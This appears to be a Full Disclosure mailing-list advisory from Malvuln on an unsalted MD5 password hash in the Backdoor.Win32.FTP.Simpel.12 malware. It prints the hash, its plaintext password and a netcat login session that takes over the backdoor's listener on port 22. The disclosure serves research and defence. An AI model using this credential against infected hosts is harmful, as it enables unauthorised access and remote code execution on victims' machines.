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Date: Mon, 27 Dec 2021 21:21:20 -0500
From: malvuln <>
Subject: [FD] Backdoor.Win32.FTP.Simpel.12 / Insecure Crypto

Discovery / credits: Malvuln - (c) 2021
Original source:

Threat: Backdoor.Win32.FTP.Simpel.12
Vulnerability: Insecure Crypto
Description: The malware listens on TCP port 22, authentication is required
to access the server. However, the password hash "!supernova" is stored
within the executable using an insecure MD5 hash algorithm and no salt. MD5
is a basic purpose fast hash (not slow) and not using salt allows attackers
that gain access to the hash ability to conduct faster cracking attacks
using pre-computed dictionaries. Finally, the password is easily recovered
as it is a known password hash which can be found online. Third-party
intruders who successfully gain access then may be able to upload
executables which may result in remote code execution.


Pass=E13820BEDF2B31E01B2C7E59404B1FB7 = !supernova

Type: PE32
MD5: 1d12f9b921b38d7b521f12442bdd52d8
Vuln ID: MVID-2021-0433
Disclosure: 12/27/2021

nc64.exe x.x.x.x 22


331 Password required for cRaCkeN.

PASS !supernova

230-                                [LOGIN]

230-                                [SYSTEM]


230-    Aktiv seit            : 1 d, 7 h, 41 min, 57 sec


230-                                [SERVER]


230-    Server ist aktiv seit : 28 min, 44 sec

230-    Server ist aktiv als  : Victim

230-    Traffic (Up/Down)     :        0.00/0.00        MB

230-    Geschw. (Up/Down)     :     0/0     KB/sec.
230-    Bester Speed (Up/Down):     0/0     KB/sec.

230-    Durchschnitsspeed     : 0     KB/sec. genutzt.
230- ││ SpaceFree             :   26197.29 MB
230- ││ Benutzer derzeit      :   1 von Max. 100
230- ││                                                                   ││

230- ││
230- ││ Willkommen            : cRaCkeN

230-    Sie sind User         :   0 von max.   0 mit ihrem Account

230-    Ratio                 : 1:-1 (Credits:     15 MB)

230-    Ihre IP ist           :




230 User cRaCkeN logged in.

215 215 UNIX Type: L8

257 Directory created

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